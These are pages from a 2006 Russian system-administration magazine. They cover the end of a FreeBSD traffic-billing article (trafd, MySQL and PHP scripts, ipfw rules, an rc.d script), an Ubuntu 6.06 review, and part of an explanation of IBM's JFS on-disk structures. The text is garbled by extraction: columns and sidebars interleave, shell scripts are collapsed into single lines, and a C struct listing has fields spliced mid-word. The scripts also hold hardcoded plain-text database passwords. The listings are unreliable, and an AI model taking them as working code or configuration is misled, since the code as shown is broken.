При открытии в браузере ресурса, который размещён по назначенному администратором для страницы статис-тики адресу, пользователь сразу видит имеющуюся в ба-зе данных информацию об IP-адресе, с которого он зашел на страницу статистики (см. рис. 1).

Администратор открывает страницу admin.htm, находя-щуюся в том же каталоге, что и интерфейс пользователя, или в другом – по его желанию.

Защита интерфейса администратора от несанкциони-рованного доступа может быть реализована различными способами. Например, если в качестве веб-сервера исполь-зуется Apache, можно воспользоваться файлами .htaccess и .htpasswd.

Экран администратора разделён на две части: в верх-ней – меню, в нижней – таблица с результатами запроса. Сразу при открытии показывается таблица трафика за се-годняшний день и за текущий месяц (см. рис. 2).

В выпадающих списках «Период» задаётся период, по которому мы хотим получить информацию.

Кнопка «Список IP-адресов сети + входящий и исходя-щий трафик» – выводит полную информацию обо всех име-ющихся в базе данных IP-адресах внутренней сети, а так-же количество входящего и исходящего трафика для каж-дого из них за указанный период (см. рис. 3).

Кнопка «Подробная для IP-адреса» – выводит список всех входящих и исходящих соединений для IP-адреса, за-данного в поле ввода с таким же названием. По сути, это просто дамп базы данных с отбором по заданному IP-ад-ресу. Зелёным цветом обозначен входящий трафик, жел-тым – исходящий (см. рис. 4).

Кнопка «Суммарная – по хостам – для IP-адреса» – вы-водит список всех входящих и исходящих соединений для IP-адреса, заданного в поле ввода с таким же названием. При этом для каждого IP-адреса из списка считается сум-марный трафик, и таблица сортируется по убыванию. Зелё-

Файл trafd_to_mysql.sh

#!/bin/sh

. /etc/rc.conf

for iface in ${trafd_ifaces}; do if [ -f /var/trafd/trafd.${iface} ]; then logger -t trafd_to_mysql "inserting traffic data ↵ for ${iface} into mysql" /usr/local/bin/traflog -a -o my_sql -n -i ↵ /var/trafd/trafd.$iface | ↵ /usr/local/bin/mysql -u insert_user ↵ -p123456789 traffic rm /var/trafd/trafd.$iface else logger -t trafd_to_mysql "failed to insert ↵ traffic data for ${iface} into mysql: ↵ file /var/trafd/trafd.${iface} not found" fidone

*/5 * * * * root ↵ /usr/home/root/sbin/trafd_dump.sh && sleep 30 && ↵ /usr/home/root/sbin/trafd_to_mysql.sh

Рисунок 1. Интерфейс биллинговой системы, каким его видит пользователь

Рисунок 2. Интерфейс администратора сразу после загрузки страницы

Рисунок 3. Список, выдаваемый в результате нажатия на кнопку «Список IP-адресов сети + входящий и исходящий трафик»

dump to file" else logger -t trafd_dump "trafd on ${iface}: ↵ file ${c_pid} not found (trafd don't listen ↵ on ${iface}?)" fidone

38


ным цветом обозначен входящий трафик, желтым – исхо-дящий (см. рис. 5.).

БиллингИтак, мы установили и запустили в эксплуатацию два мо-дуля системы биллинга из трех. Но учитывать и выводить информацию об использованном трафике недостаточно: полноценная система биллинга должна также содержать в себе лимиты входящего и исходящего трафика, задава-емые для каждого пользователя, и обеспечивать отключе-ние соответствующего пользователя при превышении им допустимых лимитов. Ниже рассматривается вопрос напи-сания и установки основного модуля системы биллинга, ко-торый служит этим целям.

Настройка ОС FreeBSDПо результатам работы биллинга какие-то IP-адреса долж-ны получать доступ в Интернет, а какие-то – нет. В системе это осуществляется путём добавления IP-адресов, которым разрешен доступ в Интернет, в таблицу №0 (table 0) встро-енного firewall FreeBSD ipfw. Файл инициализации правил ipfw.rules может содержать среди прочих такие строки:

Чтобы биллинг запускался при старте системы, во-пер-вых, нужно прописать в /etc/rc.conf:

Во-вторых, нужно создать в /usr/local/etc/rc.d/ файл adc_billing.sh с приведённым ниже содержанием:

Давайте разберём построчно, что делается в скрипте adc_billing.sh. Номера строк приведены для удобства рас-сказа о его содержимом:

1. «Магическая последовательность» символов «#!», со-общающая текущему командному интерпретатору, что за ней следуют путь и имя того командного интерпретатора, в ко-тором данный сценарий должен выполняться. Лучше всего стартовые скрипты (в каталог /usr/local/etc/rc.d) писать на языке sh, во-первых, очень удобная возможность задания очередности пуска скрипта (см. пояснение к строкам 3 и 4, а также rcorder(8)), во-вторых, приходится заново писать весь код, уже существующий в rc.subr и, в-третьих, в силу во-пер-вых и во-вторых, это противоречит идеологии системы.

2. Имя сервиса, с которым работает данный скрипт.3. Имя одного или нескольких сервисов, которые должны

быть запущены до данного скрипта. Регистр имеет значение, поэтому имя сервиса должно быть указано точно так, как оно написано в соответствующем скрипте в # PROVIDE

4. Ключевое слово. В нашем скрипте оно одно – shutdown. Благодаря его присутствию, наш скрипт будет вы-зываться скриптом /etc/rc.shutdown при выключении и пе-резагрузке системы.

5, 6. Напоминание об имени и возможных значениях пе-ременной, которая, будучи добавлена в rc.conf, управляет работой данного скрипта.

7. В файле /etc/rc.subr содержатся функции для выполне-

Рисунок 4. Подробная статистика для IP-адреса

Рисунок 5. Статистика для IP-адреса с группировкой по хостам, с которыми были соединения

# Переменные ${iif} и ${iip} заданы в файле rc.conf# ${iif} – имя интерфейса (сетевой карты) внутренней сети# роутера

adc_billing_enable="YES"

1 : #!/bin/sh

2 : # PROVIDE: adc_billing3 : # REQUIRE: mysql4 : # KEYWORD: shutdown

5 : # Add the following lines to /etc/rc.conf to enable adc_billing:6 : #adc_billing_enable="YES"

7 : . /etc/rc.subr

8 : name="adc_billing"9 : rcvar=`set_rcvar`10:command="/usr/home/root/sbin/adc_billing.php"11: stop_cmd="adc_billing_stop"

12: adc_billing_enable=${adc_billing_enable:-"NO"}

13: adc_billing_stop()14: {15: echo 'Stopping '${name}'.'16: }

17: load_rc_config $name18: run_rc_command "$1"

# ${iip} – внутренний IP-адрес роутера#

# Disallow users access to our proxy${fwcmd} add deny log ip from not table$0$ to ${iip} 3128

# Disallow users to have Internet${fwcmd} add deny log ip from not table$0$ ↵ to any in via ${iif}

39№8, август 2006


ния типичных операций. Ими рекомендуется пользоваться всем rc.d скриптам. Естественно, для того чтобы ими поль-зоваться, нужно включить их в текущий скрипт, что и де-лается в этой строке.

8. Задание обязательной для rc.subr переменной «name» значения – имени скрипта. Должна быть установлена до вы-зова любой из функций, содержащихся в rc.subr.

9. Получение имени переменной, изменением значе-ния которой разрешается или запрещается запуск наше-го сервиса. (Причиной существования функции «set_rcvar» являются различия в соглашении об именовании таких пе-ременных во FreeBSD и NetBSD. Во FreeBSD в rc.conf пишут «service_enable="YES"», а в NetBSD – «service="YES"».)

10. Переменная, значение которой – командная строка для запуска нашего сервиса. Если она задана, rc.subr бу-дет действовать по сценарию обслуживания стандартного демона. В частности, предоставляются методы по умолча-нию для следующих аргументов скрипта: start, stop, restart, status, poll, rcvar.

11. Определение имени функции, которая будет вызвана при запуске нашего скрипта с аргументом «stop». Как видно из строк 13-16, в ней ничего не делается, кроме вывода со-общения. Это не является строго необходимым, но мне ка-жется, что так правильнее и красивее, к тому же, это задел на будущее – если биллинг так разовьётся, что нужно будет делать какие-либо действия при его выключении.

12. Если переменная, определяющая запуск нашего скрипта, в rc.conf не декларирована, то она объявляется и ей присваивается значение «NO». Тем самым мы избе-гаем запуска скрипта.

17. Загрузить переменные из rc.conf.18. Вызов основной функции из rc.subr(8) для выполне-

ния действия, ради которого скрипт был запущен. При этом она (функция) будет использовать переменные и другие функции, определённые в скрипте. Обычно это последняя строка скрипта.

Необходимо, чтобы основная программа биллинга за-пускалась каждые 10 минут и обновляла правила firewall в соответствии с информацией из базы данных. Для этого в файл /etc/crontab добавляется следующая строка:

Основная программа биллингаКраткое описание выполняемых действий: adc_billing.php запрашивает у MySQL сумму трафика за текущий месяц (из таблицы Log) по каждому IP-адресу (из перечисленных в таблице Ip), у которого поле Ip.quota не равно NULL, и за-тем, если число вычисленного трафика меньше значения Ip.quota, добавляет этот IP-адрес в таблицу №0 (table 0) firewall ipfw.

Надеюсь, что описанные в статье методика и набор про-грамм, доведённые в процессе уже достаточно длительной эксплуатации до того уровня, на котором они существуют сегодня, помогут вам решать аналогичные задачи.

Из истории развития стартовых скриптов BSD-системКогда-то в BSD-системах был один стар-товый скрипт – /etc/rc. Процесс init(8) вы-зывал его при запуске ОС для выполне-ния всех действий, которые надо сделать в однопользовательском окружении (про-верка дисков, монтирование разделов, ус-тановка параметров сети, запуск различ-ных демонов и т. д.). Конечно же, список этих действий не одинаков для различ-ных систем, и администраторам приходи-лось подгонять его под свои нужды путём редактирования файла /etc/rc. Найти нуж-

ные строки в длинном файле было боль-шой проблемой.

Другим недостатком такой системы бы-ла невозможность перезапуска какого-ли-бо одиночного сервиса.

В связи с этим сообществом разра-ботчиков NetSBD была создана система rc.d, которая позднее была импортирова-на во FreeBSD.

Вот идеи, положенные в её основу: Модульность – для каждой задачи

свой скрипт, используя который мож-но запустить, остановить или узнать статус сервиса.

Повторное использование кода – ти-пичные операции, выполняемые боль-шинством скриптов, выполнены в ви-де функций на языке sh и собраны в /etc/rc.subr. Благодаря этому типовые rc.d-скрипты могут быть длиной всего лишь в несколько строк.

Подробную информацию по rc.d-скрип-там можно найти в руководстве по FreeBSD – темы rc(8), rc.subr(8), rcorder(8), rc.conf(5), а также в статье Yar Tikhiy «A practical guide to BSD rc.d scripting» по адресу: http://people.freebsd.org/~yar/rcng/article.html.

*/10 * * * * root ↵ /usr/home/root/sbin/adc_billing.php

#!/usr/local/bin/php

<? $link = mysql_connect("localhost", "view_user", ↵ "987654321") or die("Could not connect: ↵ " . mysql_error()); mysql_select_db("traffic") ↵ or die("Could not select database");

$query = "SELECT Ip.ip, Ip.quota, Tbl.bytesFROM ( SELECT Log.ip_to, SUM(Log.all_bytes) AS bytes FROM Log WHERE Log.ip_to LIKE '192.168.0.%' AND Log.first_time LIKE '" . date("Y-m") . "-%' GROUP BY Log.ip_to ) TblRIGHT JOIN Ip ON Ip.ip = Tbl.ip_toWHERE Ip.quota IS NOT NULL AND (Tbl.bytes < Ip.quota OR Tbl.bytes IS NULL);";

$result = mysql_query($query) or die("Query N1 failed: ↵ " . mysql_error());

exec("/sbin/ipfw table 0 flush");

while ($row = mysql_fetch_object($result)) { exec("/sbin/ipfw table 0 add " . $row->ip); }?>

40


ПредысторияКогда Марк Шаттлворт, неплохо заработав в период расцве-та «дот-комов», решил, что пора возвращать миру «долги», он избрал своим полем деятельности поддержку открыто-го ПО. Одним из наиболее заметных результатов его рабо-ты и финансовых вложений стал дистрибутив Ubuntu, став-ший отражением представлений Марка об идеальной опе-рационной системе.

Основная идея, заложенная в Ubuntu, – свободные про-граммы должны быть действительно свободными и доступ-ными каждому. Реализуется это, во-первых, абсолютной бесплатностью дистрибутива (вы даже можете восполь-зоваться программой Ship-It на сайте проекта и получить диск с дистрибутивом по почте, не потратив ни копейки). Во-вторых, разработчики прилагают огромные усилия для то-го, чтобы каждый, независимо от его «степени готовности» к Linux-решениям, чувствовал себя в системе легко и сво-бодно. Поэтому очень большое внимание уделяется пере-воду интерфейса чуть ли не на все языки мира.

Ещё одна концепция Ubuntu – «одна задача – одно при-ложение». Здесь вам не придётся выбирать текстовый ре-дактор среди десятков пунктов в меню – разработчики включили в дистрибутив только один редактор, зато, по их мнению, самый лучший. Аналогичная ситуация и с дру-

гими приложениями. Опытных пользователей это вряд ли обрадует, а вот новички смогут сразу приступить к работе, не теряясь во множестве вариантов.

В основе дистрибутива Ubuntu лежит Debian, так что пользователи получают всю мощь и гибкость этой систе-мы, огромные репозитарии deb-пакетов, превосходную до-кументацию, а также всегда могут рассчитывать на добро-желательность сообщества.

УстановкаВ отличие от версии 5.10, где во время инсталляции ещё просматривались черты «родителя» (установка там выпол-нялась в текстовом режиме, хотя псевдографика и делала диалоги удобными и понятными), версия 6.06 пошла другим путём. Здесь реализована идея «инсталлятор как прило-жение», когда система загружается в режиме LiveCD, а ус-тановка на винчестер выполняется программой, запускае-мой как обычное приложение. Впервые такую концепцию я наблюдал в Gentoo 2006.0 для архитектуры x86, и, несмот-ря на «кривость» той реализации, идея показалась весь-ма интересной.

Таким образом, вы убиваете сразу двух зайцев: проверя-ете совместимость дистрибутива с вашим «железом» ещё до того, как выделите для системы место на вашем жёст-ком диске. И получаете в своё распоряжение универсаль-ный CD-диск, который после инсталляции сохраняет свою полезность, поскольку его можно использовать и как пол-ноценный LiveCD с такими приложениями, как Gimp, Firefox, OpenOffice.org.

Итак, загрузившись с LiveCD и убедившись, что есть и звук, и сеть, и видео (для этого в папке Examples лежат файлы различных форматов), щёлкаем по иконке «Install». Установка выполняется в шесть шагов, начиная с выбора языка (есть и русский), и не требует никаких усилий. Ис-ключение составляет разве что 5-й шаг, где вам предсто-ит подготовить место на диске, если вы не планируете его полностью очистить (рис. 1).

После установки – традиционная перезагрузка, и всё готово к работе. Кстати, версия 5.10 у меня отказывалась

Обзор дистрибутива Ubuntu 6.06

Вышла новая версия уже почти культового дистрибутива, который, ворвался на рынок Linux-систем и по показателю популярности оставил позади таких «монстров», как Fedora Core и openSUSE. Теперь он нацеливается и на корпоративный сектор.

Сергей Супрунов

Рисунок 1. Инструмент для работы с дисковыми разделами, в чём-то даже удобнее QtParted

41№8, август 2006


ставить Grub, сославшись на какую-то несовместимость с SATA-дисками. В 6.06 Grub был установлен без лишних вопросов.

Хочу права root!Да, пароль root у вас никто не спросит. Нужны права супер-пользователя? Просто выполняйте каждую команду через sudo. Кстати, если очень захочется поработать в системе как root, наблюдая слева привычную «решёточку», введи-те «sudo su-» и наслаждайтесь.

Встречаем по одёжкеПервое, что приятно удивило, – очень качественная руси-фикация (интерфейс Gnome, пункты меню, всплывающие подсказки, справочная информация – всё поражает высо-ким качеством перевода).

Рабочее окружение – Gnome 2.14, ядро – 2.6.15. Да и можно отметить, что версии установленного ПО подобра-ны самые свежие. Тем не менее появившаяся в 6.06 служ-ба автоматических обновлений сразу же предложила пос-тавить 132 обновления. К сожалению, эти обновления не ранжированы по степени критичности (как это сделано, на-пример, в OpenSUSE), а на закачку 184 Мб без разбора от-важится не каждый, равно как и «копаться» в сотне паке-тов. Впрочем, лиха беда начало – в следующей версии, бу-дем надеяться, увидим и ранжирование.

Наконец-то на моей «Тошибе» нормально заработал спящий режим. Правда, по занимаемому времени переход в него и возврат не сильно отличаются от полного выклю-чения, но тем не менее – новость приятная.

Очень понравилась работа Samba – ресурсы домаш-ней Windows-машины стали доступны сразу же после ин-сталляции системы, без каких-либо дополнительных на-строек (рис. 2).

Из приятных мелочей отмечу поддержку «из коробки» скроллинга при помощи правого края тачпада моего ноут-бука. В 5.10 мне его сильно не хватало. Хотя это скорее за-слуга обновлённой версии X-сервера.

Ещё одно «косметическое», но удобное новшество – ин-дикатор прогресса при размонтировании usb-flash. Рань-ше окончание синхронизации данных приходилось отсле-живать по светодиоду самой «флэшки», теперь же вы точ-но будете знать момент, когда устройство уже можно отсо-единять физически.

Из недостатков от прежних версий сохранилось отсутс-твие русских шрифтов в текстовой консоли (переход в ко-торую выполняется по <Ctrl-Alt-Fx>) – система пытается об-щаться с вами по-русски, но в результате на экране – одни квадратики. Впрочем, это легко «лечится» установкой па-кета console-cyrillic. Кстати, о пакетах…

Работа с пакетамиDebian есть Debian, так что к вашим услугам вся мощь ко-манд apt и aptitude (рис. 3). Для тех, кто не очень жалует командную строку, по-прежнему во всей красе доступен Synaptic в двух видах: упрощённый «пользовательский» и так называемый расширенный. По умолчанию подклю-чены только «официальные» репозитарии, но в настрой-ках легко добавить и остальные, поддерживаемые сооб-

ществом. При необходимости можно поставить и проприе-тарные приложения, для которых имеются deb-пакеты. На-пример, с установкой Opera никаких проблем не возникло – двойной щелчок, и в меню, в разделе «Интернет», появился дополнительный пункт. Естественно, вы можете в полном объёме использовать и консольные утилиты dpkg.

И целого мира мало?Начиная с версии 6.06 для Ubuntu декларируется долго-срочная поддержка. Так, для серверных версий обнов-ления будут доступны в течение пяти лет, для рабочих станций – в течение трёх. Подобный шаг свидетельству-ет о стремлении Ubuntu занять своё место и в корпора-тивном секторе.

Пока что состав дистрибутива больше ориентирован на домашнего пользователя, чем на офисных клерков. Тем не менее хорошая поддержка сетей Windows и мощный офис-ный пакет «из коробки» будут не лишними в локальной сети предприятия. К тому же имеющиеся версии дистрибутива для всех основных архитектур (x86, AMD64, Mac, PowerPC) – хороший задел на будущее.

ПослесловиеУ меня сложилось впечатление об Ubuntu как об удачном дистрибутиве как для домашнего использования, так и для попыток «пересадить» на открытые приложения пользова-телей локальной сети небольшого предприятия.

Ребята из Canonical и сотни добровольцев сделали (и продолжают делать в хорошем темпе) всё возможное, чтобы Ubuntu смог использовать каждый.

Рисунок 2. Работа с сетью – тоже на уровне

Рисунок 3. Работа с пакетами: легко, удобно, аккуратно...

42


Истоки технологии JFSIBM представила свою файловую сис-тему для UNIX как JFS с первым рели-зом AIX v3.1 в 1990 году. Эта ФС, из-вестная сейчас как JFS1, была основ-ной для AIX в течение 10 лет. Пять лет спустя была начата работа по ее усо-вершенствованию с целью улучшения масштабируемости и реализации эф-фективной поддержки SMP-систем. Также ставилась задача улучшения пе-реносимости ФС для обеспечения ее портирования и в другие операцион-ные системы (код JFS1 был очень тес-но привязан к менеджеру памяти AIX, и вряд ли смог бы эффективно рабо-тать в OS/2 или Linux).

Новая Journaled File System, на ко-торой основана Linux-версия JFS, бы-ла впервые представлена с OS/2 Warp Server в апреле 1999 года, после не-скольких лет проектирования и тес-

тирования. В OS/2 Warp Client она бы-ла включена в октябре 2000 года. Па-раллельно с этими усилиями в 1997 году часть разработчиков JFS верну-лась в команду сопровождения AIX и занялась адаптацией кода новой JFS к этой ОС. К маю 2001 года Enhanced Journaled File System (называемая JFS2) была доступна для AIX 5L. В де-кабре 1999 года был сделан срез (snapshot) оригинального дерева ко-да JFS, и началась работа по ее пере-носу в Linux.

ПортированиеК декабрю 1999 года уже существо-вали 3 перспективные ФС, только разрабатываемые или переносимые в Linux. ext2 была в процессе добав-ления журналирования (ext3), SGI на-чала перенос своей файловой систе-мы XFS с IRIX, и Hans Reiser разраба-

тывал reiserfs. Ни одна из указанных ФС не была полностью функциональ-на в Linux в 1999 году, и IBM решила, что JFS является достаточно сильной технологией и добавит вес набираю-щему силу Linux.

Программисты из IBM посовето-вались с основными разработчиками файловых систем Linux на счет воз-можности добавления еще одной жур-налируемой ФС. Одно из основных по-ложений философии Linux: выбор – это хорошо, поэтому идея еще одной ФС была встречена с энтузиазмом.

IBM воспользовалась поддержкой сообщества Open Source. Команда JFS последовала совету сообщества: «release early and release often» (до-словно: «выпустить рано и выпускать часто»), и привлекла множество сто-ронних разработчиков к переносу JFS в Linux. Всего через 3 месяца после на-

Как устроена файловая система JFS

JFS, файловая система последнего поколения от IBM, спроектирована стройно и четко, алгоритмы обработки данных и метаданных отличаются высокой степенью оптимизации. Но показатели ее производительности не впечатляют. Попробуем разобраться, в чем же дело.

Андрей Пешеходов

43№8, август 2006


чала работ (в феврале 2000) был выпущен первый Linux-ре-лиз JFS. Он включал в себя функции mount/unmount и под-держку программы ls.

Рассмотрим особенности устройства и реализации JFS более подробно.

Дисковый разделФайловая система JFS создается на разделе (partition). Дисковый раздел, с точки зрения JFS, имеет следующие параметры: Фиксированный размер блока, PART_BSize, который

может принимать значения 512, 1024, 2048 или 4096 байт. Этот параметр определяет размер наименьшего эле-мента обмена данными с разделом. Он соответствует размеру физического сектора того диска, на котором расположен раздел, и чаще всего равен 512 байт.

Размер раздела, величину PART_NBlocks, содержа-щую количество дисковых блоков на разделе.

Абстрактное адресное пространство: [0,(PART_NBlocks-1)] дисковых блоков.

Логический томДля соответствия стандарту DCE DFS (Distributed Computing Environment Distributed File System – распределенная файло-вая система для распределенной среды вычислений) JFS отделяет понятие пула дискового пространства от понятия монтируемого поддерева именованных объектов файловой системы. Дисковый раздел представлен в JFS логическим томом (aggregate в действительности означает «совокуп-ность», «целостность», но для удобства мы будем называть его томом), а совокупность файлов и каталогов именуется файлсетом (fileset – набор фалов). Существует в точности один логический том на физическом разделе, файлсетов же может быть несколько (в Linux эта возможность не под-держивается из-за ограничений интерфейса VFS). В пер-вом релизе JFS поддерживала только один набор файлов на том, однако все метаданные были спроектированы для более общего случая.

Логический том состоит из следующих частей: 32 Кб неиспользуемого дискового пространства в нача-

ле. Первичный и вторичный суперблоки, содержащие гло-

бальную информацию о данном томе. Вторичный супер-блок есть точная копия первичного, положение обоих на диске фиксировано. Структура суперблока описана в jfs_superblock.h:

Два экземпляра таблицы inodes тома, содержащей inodes, описывающие глобальные управляющие струк-туры тома. Логически это просто массивы inodes. Так как том не имеет структуры каталога, объекты, описывае-мые этими inodes, не видны в пространстве имен како-го-либо файлсета.

Две копии карты размещения inodes, описывающей таб-лицу inodes тома.

/* * Суперблок логического тома */struct jfs_superblock { char s_magic[4]; /* Magic-номер */

__le32 s_version; /* Вверсия */

/* Размер тома в физических блоках, для VFS - * количество блоков */ __le64 s_size;

/* Размер блока тома в байтах, для VFS – * размер фрагмента */ __le32 s_bsize;

/* Двоичный логарифм s_bsize */ __le16 s_l2bsize;

/* Двоичный логарифм (s_bsize/s_pbsize) */ __le16 s_l2bfactor;

/* Размер физического блока в байтах */ __le32 s_pbsize;

/* Двоичный логарифм s_pbsize */ __le16 s_l2pbsize;

/* Дополнение (для выравнивания) */ __le16 pad;

/* Размер allocation-группы в логических блоках */ __le32 s_agsize;

/* Атрибуты тома (см. jfs_filsys.h) */ __le32 s_flag;

/* Сосотяние JFS(mount/unmount/recovery), * см. jfs_filsys.h */ __le32 s_state;

/* >0 если задействовано сжатие данных */ __le32 s_compress;

/* Первый экстент вторичной таблицы inode тома */ pxd_t s_ait2;

/* Первый экстент вторичной карты inode тома */ pxd_t s_aim2;

/* Адрес устройства, на котором расположен * журнал */ __le32 s_logdev;

/* Номер mount-сессии */ __le32 s_logserial;

/* Встроенный экстент журнала */ pxd_t s_logpxd;

/* Встроенный экстент рабочего пространства * для fsck */ pxd_t s_fsckpxd;

/* Время последнего обновления */ struct timestruc_t s_time;

/* Количество блоков, зарезервированных * для служебного журнала fsck. */ __le32 s_fsckloglen;

/* Определяет, какой из сервисных логов fsck * наиболее свежий: * 0 – в логах еще нет данных * 1 – первый * 2 - второй */ s8 s_fscklog;

/* Имя тома. Должно быть 11 байт длиной * для соответствия требованиям к загрузочному * сектору OS/2. Используется только если * s_version = 1 */ char s_fpack[11];

/* Параметры */ __le64 s_xsize; pxd_t s_xfsckpxd; pxd_t s_xlogpxd;

char s_uuid[16]; /* 128-битный uuid тома */ char s_label[16]; /* Метка тома */ /* 128-битный uuid устройства с журналом */ char s_loguuid[16]; };

44


Карта размещения блоков, описывает структуры, управ-ляющие выделением и освобождением блоков тома.

Рабочее пространство для fsck, необходимое для отсле-живания выделения блоков тома. Оно необходимо пото-му, что JFS поддерживает очень большие тома, и дан-ные о выделенных/свободных блоках могут не помес-титься в памяти. Это пространство описывается супер-блоком. Один байт необходим для описания 8 блоков (по 1 биту на блок). Рабочее пространство fsck всегда расположено в конце тома.

Встроенный журнал, обеспечивающий место для жур-налирования изменений метаданных тома. Описывает-ся суперблоком и всегда расположено за рабочим про-странством fsck.

Состав таблицы inodes тома таков: Inode 0 зарезервирован. Inode 1 описывает все дисковые блоки тома, включая

карту inodes. Это рекурсивное представление, при ко-тором сам inode расположен в файле, который он опи-сывает. Очевидная трудность рекурсивного представле-ния преодолевается здесь путем размещения по край-ней мере первого inode тома в фиксированном месте (через 4 Kb после первичного суперблока тома). Таким образом, JFS может просто отыскать inode 1, а от не-го и остальные inodes таблицы – следуя по B+ дереву в inode 1. Для репликации таблицы inodes тома JFS так-же должна находить копию inode 1 – для достижения ос-тавшейся вторичной таблицы. Для этих целей в суперб-локе есть поле, содержащее дескриптор экстента, опи-сывающий положение inode 1 вторичной таблицы.

Inode 2 описывает карту размещения блоков тома. Inode 3 описывает встроенный журнал (когда ФС смон-

тирована). Дисковая копия этого inode не указывает на какие-либо данные, его поля заполняются только в in-memory образе.

Inode 4 описывает файл плохих блоков, найденных при форматировании тома.

Inodes с 5-го по 15-й зарезервированы. Начиная с 16-го, существует по 1 inode на каждый файл-

сет. Эти inodes описывают управляющие структуры, пред-ставляющие набор файлов. С добавлением новых набо-ров файлов к тому таблица inodes тома может расти.

Allocation groupsAllocation groups (AGs, группы размещения) разбивают про-странство тома на части и позволяют политике выделения ресурсов JFS использовать хорошо известные методы для достижения высокой производительности ввода/вы-вода. Во-первых, JFS пытается группировать вместе дис-ковые блоки и inodes для связанных данных. Во-вторых, ФС старается распределить несвязанные данные по всему тому для согласования размещения. AGs в пределах тома идентифицируются отсчитываемым от нуля индексом, име-нуемым номером AG.

Размеры AGs выбираются таким образом, чтобы они могли вмещать достаточно большие объекты. Для миними-зации количества изменений, которые необходимо внести при расширении или усечении тома (имеется в виду опера-

ция resizefs), максимальное количество AGs ограничено 128. С другой стороны, существует ограничение на минималь-ный размер одной AG – в 8192 блоков тома. Число, выра-жающее размер AG в dmap-страницах (4 Кб, от disk map – дисковая карта), должно быть степенью двойки. Выбранный исходя из всех этих условий размер записывается в специ-альное поле суперблока тома.

Том с размером, не кратным размеру AG, будет содер-жать одну частичную группу размещения. Она обрабаты-вается так же, как и обычная AG, а несуществующие фи-зически блоки в карте выделения будут помечены как за-нятые.

ФайлсетыКак уже говорилось, файлсет есть просто набор именова-ных файлов и каталогов. Он полностью содержится в преде-лах одного тома. Заметьте также, что на одном томе может существовать несколько файлсетов; в этом случае все они разделяют общий пул свободных дисковых блоков тома.

Каждый файлсет располагает собственной таблицей inodes и картой их размещения, которая содержит данные о положении inodes на диске. «Супер-inode», описывающий эту карту и другую глобальную информацию о файлсете, расположен в таблице inodes тома и был описан выше.

Inodes в таблице файлсета имеют следующие значе-ния: Нулевой inode зарезервирован. Inode 1 содержит дополнительную информацию о файл-

сете, которая не поместилась в структурах, описывае-мых inodes тома.

Inode 2 описывает корневой каталог данного файлсета. Заметьте, что JFS соблюдает общее для файловых сис-тем UNIX соглашение, когда inode за номером 2 описы-вает корневой каталог.

Inode 3 описывает ACL-файл. Начиная с четвертого, следуют inodes для обычных объ-

ектов файловой системы – файлов и каталогов.

Структуры данныхКаждый объект JFS описывается inode. Inode содержит спе-цифичную для объекта информацию, например, времен-ные штампы и тип файла (регулярный, каталог, или др.). Он также «содержит» B+ дерево для отслеживания поло-жения экстентов. Примечательно, что все метаданные JFS (за исключением суперблока) представлены в виде фай-лов. Благодаря использованию структуры inode для описа-ния размещения этих данных, их положение на диске мо-жет быть изменено в новых версиях JFS без внесения из-менений в код.

ЭкстентыФайл размещается на диске в виде группы экстентов. Эк-стент может иметь длину от 1 до (224-1) блоков тома; сле-довательно, большие экстенты охватывают несколько AGs. Экстенты индексируются в B+ дереве для улучшения про-изводительности операций поиска и вставки.

Для однозначного определения экстента необходи-мо знать всего 2 параметра: номер его стартового бло-ка и длину.

45№8, август 2006


Основанная на экстентах ФС, предоставляющая поль-зователю возможность задавать размер блока, по идее почти не подвержена внутренней фрагментации. Пользо-ватель может сконфигурировать том с маленьким разме-ром блока (минимально – 512 байт) для уменьшения внут-ренней фрагментации при работе с большим количеством мелких файлов.

Вообще говоря, драйвер JFS старается размещать фай-лы в как можно меньшем количестве экстентов, что позво-ляет формировать длинные I/O-запросы к диску, которые (как на запись, так и на чтение) выполняются гораздо бо-лее эффективно, чем группа коротких. Однако это не всег-да возможно. К примеру, copy-on-write клонирование сег-мента файла вызовет деление протяженного экстента на несколько более коротких. Другой пример – ограничение размера экстента. Он может быть лимитирован при обра-ботке сжатых файлов – так как драйвер должен прочитать в память весь экстент и разжать его. Имея в своем распо-ряжении ограниченный объем памяти, драйвер JFS должен быть уверен, что разжимаемые данные не выйдут за пре-делы доступного региона.

Утилита для дефрагментации избавляет пользовате-ля от роста внешней фрагментации, которая возникает из-за динамического выделения/освобождения экстен-тов переменной длины. Результат этого процесса – по-явление разбросанных по всему диску свободных экс-тентов разного размера. Defragment-программа произво-дит объединение множества мелких свободных экстен-тов в один большой.

InodesДисковый inode JFS занимает 512 байт и содержит 4 базо-вых группы данных (четверти). Первая группа хранит POSIX-атрибуты JFS-объекта, вторая – дополнительные атрибуты (данные для работы с VFS, специфичную для ОС информа-цию и заголовок B+ дерева). Третья группа содержит либо дескриптор экстента корневого узла B+ дерева, либо встро-енные данные, четвертая – расширенные атрибуты, встро-енные данные или дополнительные дескрипторы экстентов. Структура дискового inode определена в файле jfs_dinode.h как структура dinode (см. листинг).

В JFS inodes размещаются динамически, что дает не-сколько преимуществ по сравнению со статическим подхо-дом. Дисковый блок под inode может быть размещен по лю-бому адресу, что развязывает номер inode с его координа-тами. Это упрощает изменение размера тома. Inodes мо-гут быть перемещены без их перенумерации, что избавля-ет JFS от необходимости вникать в структуру каталогов при перемещении inode. Эта развязка также необходима для поддержки клонирования файлсетов, обязательной для со-ответствия стандарту DFS.

С другой стороны, это порождает и проблемы. При ста-тическом размещении геометрия файловой системы явно описывается положением inodes на диске, с динамическим же размещением требуются отдельные картирующие струк-туры. Из-за накладности репликации этих структур дизай-неры JFS решили смириться с риском потери метаданных. Однако JFS журналирует B+ деревья, что позволяет в слу-чае сбоя без особого труда отыскивать эти карты.

/* * on-disk inode : 512 bytes * * note: align 64-bit fields on 8-byte boundary. */struct dinode {

/* 1. Базовая четверть – POSIX атрибуты. 128 байт. */

/* признак принадлежности inode к конкретному * файлсету */ __le32 di_inostamp; __le32 di_fileset; /* номер файлсета */ __le32 di_number; /* номер inode */ __le32 di_gen; /* номер поколения inode */

pxd_t di_ixpxd; /* дескриптор inode-экстента */

__le64 di_size; /* размер объекта */ __le64 di_nblocks; /* количество выделенных блоков */

__le32 di_nlink; /* счетчик ссылок на объект */

__le32 di_uid; /* UID владельца */ __le32 di_gid; /* GID владельца */

__le32 di_mode; /* атрибуты, формат, разрешения */

/* время последнего доступа */ struct timestruc_t di_atime; /* время последней модификации атрбутов */ struct timestruc_t di_ctime; /* время последней модификации данных */ struct timest /* время создания */ struct timestruc_t di_mtime;ruc_t di_otime;

dxd_t di_acl; /* ACL-дескриптор */

dxd_t di_ea; /* EA-дескриптор */

/* следующий доступный индекс в dir_table */ __le32 di_next_index;

